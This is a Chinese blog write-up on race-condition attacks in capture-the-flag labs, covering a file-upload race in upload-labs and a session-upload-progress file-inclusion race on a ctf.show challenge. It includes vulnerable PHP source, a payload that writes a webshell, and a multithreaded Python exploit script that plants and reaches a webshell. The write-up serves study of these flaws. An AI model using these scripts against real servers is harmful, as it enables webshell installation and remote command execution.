条件竞争学习

文章目录

  • 前言
    • 定义
    • 文件上传条件竞争
      • 0X01
      • 0X02

前言

文章同步于我的个人博客https://quan9i.top/competition.md,欢迎大家访问
在学习文件包含和文件上传时,都涉及到了文件竞争这个漏洞,因为理解问题,导致这类题我很难攻破,特此来进行条件竞争的学习,总结如下,希望能对正在学习的师傅有所帮助。

定义

条件竞争就是两个或者多个进程或者线程同时处理一个资源(全局变量,文件)产生非预想的执行效果,从而产生程序执行流的改变,从而达到攻击的目的。

举个栗子
假如我们去银行里取钱,假如我们本来有2000元,我们在atm机进行取款,取款2000,此时我们点击取款操作,而atm在进行取款的时候,我们又一次进去了取款,这时候atm机就会转出4000,我们的账号余额会变成-2000,这就是我们多线程执行的结果,这里的话双线程就可以理解为一个在取款,同时另一个也在进行取款,这时候对银行来说就造成了非预期的效果

https://blog.csdn.net/qq_39153421/article/details/116742488

文件上传条件竞争

0X01

这里以upload-labs18作为示例进行讲解,其源码如下

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}

上传文件源代码里没有校验上传的文件,用move_uploaded_file将上传的临时文件移动到了指定目录下,而后进行了判断,如果文件格式符合要求,就用rename给文件重命名并上传,如果文件格式不合乎要求就删除

当我们用多线程脚本或者bp来进行访问时,服务器就会并发处理多个请求,也就是同时对多个请求进行响应,假如此时用户a上传了木马文件,由于代码执行需要时间,这时候用户b访问木马文件,就会出现以下三种情况

1、访问的时候文件还未上传,访问失败,显示404
2、访问的时候文件上传成功但还未判断是否符合文件要求,访问成功
3、访问的时候文件已经被判断完毕,被删除,访问失败,显示404

我们这时候就可以利用第二种情况来插入我们的木马,但是这个文件能成功上传并访问的概率本身就很低,所以在执行一次命令过后,他被删除的概率几乎为%99.99,不可能出现这个文件一直可以成功访问的情况,因此我们这时候就需要用这个文件来写入一个木马文件,然后我们访问木马文件,这时候就可以执行我们的命令或者是用蚁剑连接了。

原理讲解清楚了,下面开始实战
介绍几个函数

fputs — fwrite() 的别名fwrite — 写入文件(可安全用于二进制文件)
fwrite( resource $handle, string $string)string 的内容写入文件指针 handle 处。 
fopen — 打开文件或者 URL说明 resource fopen( string $filename, string $mode )
fopen() 将 filename 指定的名字资源绑定到一个流上。 
mode 参数指定了所要求到该流的访问类型。可以是以下:
fopen() 中 mode 的可能值列表 
'r' 只读方式打开,将文件指针指向文件头。  
'r+' 读写方式打开,将文件指针指向文件头。  
'w' 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。  
'w+' 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。  
'a' 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。  
'a+' 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。  
'x' 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。  
'x+' 创建并以读写方式打开,其他的行为和 'x' 一样。  

首先构造我们的上传文件,其内容如下

 fputs(fopen('shell.php','w'),'');?>
含义就是创建shell.php文件,并写入一句话木马

上传我们的php文件并发送到intruder模块
在这里插入图片描述
选择Null payloads
在这里插入图片描述
此时上传文件的是处理好了,我们还需要用一个访问文件的,此时我们不用bp,用一个脚本来进行访问

import requests
url = "http://127.0.0.1:8080/upload-labs-master/upload/2.php"
while True:html = requests.get(url)if html.status_code == 200:print("OK")break

先进行访问,再开启上传
在这里插入图片描述
成功上传了2.php,但此时2.php肯定已经被删除了,但我们2.php里的语句肯定执行了,我们执行的语句是写入一个shell.php文件,此时访问url/upload/shell.php
在这里插入图片描述
一片空白,我们尝试输入个phpinfo()
在这里插入图片描述
注入成功,此时蚁剑连接getshell
在这里插入图片描述
此时查看文件,即可获取flag(当然这个文件本身不存在,是我自己人为添加的)
在这里插入图片描述

0X02

源码如下

 <?php
if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);
}else{highlight_file(__FILE__);
} 

像这种过滤了.php的无法直接使用上述那种的上传文件然后写入文件,因为这种就限制了文件后缀,我们无法再写入有文件后缀的文件,但计算机中存在session,而session有以下几个属性

session.upload_progress.enabled = on
//可以控制是否开启session.upload_progress功能
session.upload_progress.cleanup = on
//session.upload_progress.cleanup可以控制是否在上传之后删除文件内容
session.upload_progress.prefix = "upload_progress_"
//session.upload_progress.prefix可以设置上传文件内容的前缀
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
//session.uplad_progress.name的值即为session中的键值
此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。如何初始化session并且把session中的内容写到文件中去呢?
我们可以注意到,php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去,具体文件的内容是什么,后面会写到。

此时的话我们传入我们的文件,在文件里更改更改他的cookie,就可以控制它的session文件名
这个文件的键值是ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写到session文件中,那我们在PHP_SESSION_UPLOAD_PROGRESS中编写我们的恶意语句,就成功的写到了session文件中,而我们的文件一上传就会被删除,这时候我们该怎么办呢,靠多线程竞争,python脚本如下

import threading
import io 
import requestsurl='http://e452861c-2e24-45d7-85cb-081b143cf342.challenge.ctf.show:8080/'#传入url
data={'1':"file_put_contents('/var/www/html/2.php','');" #写入2.php文件,文件内容为一句话木马}
sessionid='quan9i' #传入session文件名
def write(session): #自定义写入session文件函数fileBytes=io.BytesIO(b'a'*1024*50) #括号内的b表示后面字符串是bytes类型。这里传入了50kbwhile True:response=session.post(url,data={'PHP_SESSION_UPLOAD_PROGRESS':''#传入的session文件中的内容为一句话木马},cookies={'PHPSESSID':sessionid #文件名为sessionid,sessionid是quan9i,因此这里的文件名就是quan9i},files={'file':('quan9i.jpg',fileBytes)#路径是quan9i.jpg文件,文件大小是50kb})#printf(response)
def read(session):#自定义读取session文件函数while True:response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={#这里写入tmp是为了包含session文件,session文件执行的的是1,1的参数对应的数据是写入文件2.php,文件2.php对应的内容是执行2'PHPSESSID':sessionid #读取路径是tmp/sess_quan9i})response2=session.get(url+'2.php')if response2.status_code==200:#如果返回正常print('[+++++++++++++++++YES+++++++++++++++++]')else:print(response2.status_code)#输出状态码if __name__=='__main__':event=threading.Event()with requests.session() as session:for i in range(5):#五个进程threading.Thread(target=write,args=(session,)).start()for i in range(5):threading.Thread(target=read,args=(session,)).start()event.set()#初始化'''整体思路首先写入url,我们需要往里面传入数据,所以我们这里data传入一个php文件,传到默认路径下,文件内容为一句话木马,为了控制session文件名,我们设置sessionid为quan9i,此时开始定义写文件函数,首先需要写入一个在session文件中写入一个文件,大小设置为50kb即可,之所以要写入文件是为了配合PHP_SESSION_UPLOAD_PROGRESS,这个东西是监测文件上传进度的,如果不传文件的话,我们啥也监测不了,这个语句就有问题了,然后设置cookie为PHPSESSID=sessionid,此时sessionid就是我们之前设置的quan9i,这时就确定了session文件的路径是/tmp/sess_quan9i,此时我们监测的文件还没传,上方写入的文件需要传进去,我们传进去就可以了,此时可以printf(response)来查看响应进而确定是否成功写入文件此时再自定义读文件,首先post包含我们的session文件,并设置cookie与之前相同,这个目的是为了执行session中的代码,session文件执行的是参数1,参数1在最上方对应的是写入2.php文件,2.php文件对应的是执行参数2,如果执行成功就输出+++YES+++,错误时返回状态码'''

为什么脚本可以用,是因为脚本使用了多线程竞争的方法。
什么是多线程竞争?
线程是非独立的,同一个进程里线程是数据共享的,当当各个线程访问数据资源时会出现竞争状态即:

数据几乎同步会被多个线程占用,造成数据混乱,即所谓的线程不安全 。

这样,因为在执行session_unset()与执行session_destroy()的时候有间隔,他们与include($file)之间也会有间隔,我们其中的一个线程在删除session文件,而另一个线程刚刚又创建了一个session文件,然后前面的线程又开始包含,那么还是能够正常包含。

参考文章
https://blog.csdn.net/qq_46918279/article/details/120106832


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章

立即
投稿

微信公众账号

微信扫一扫加关注

返回
顶部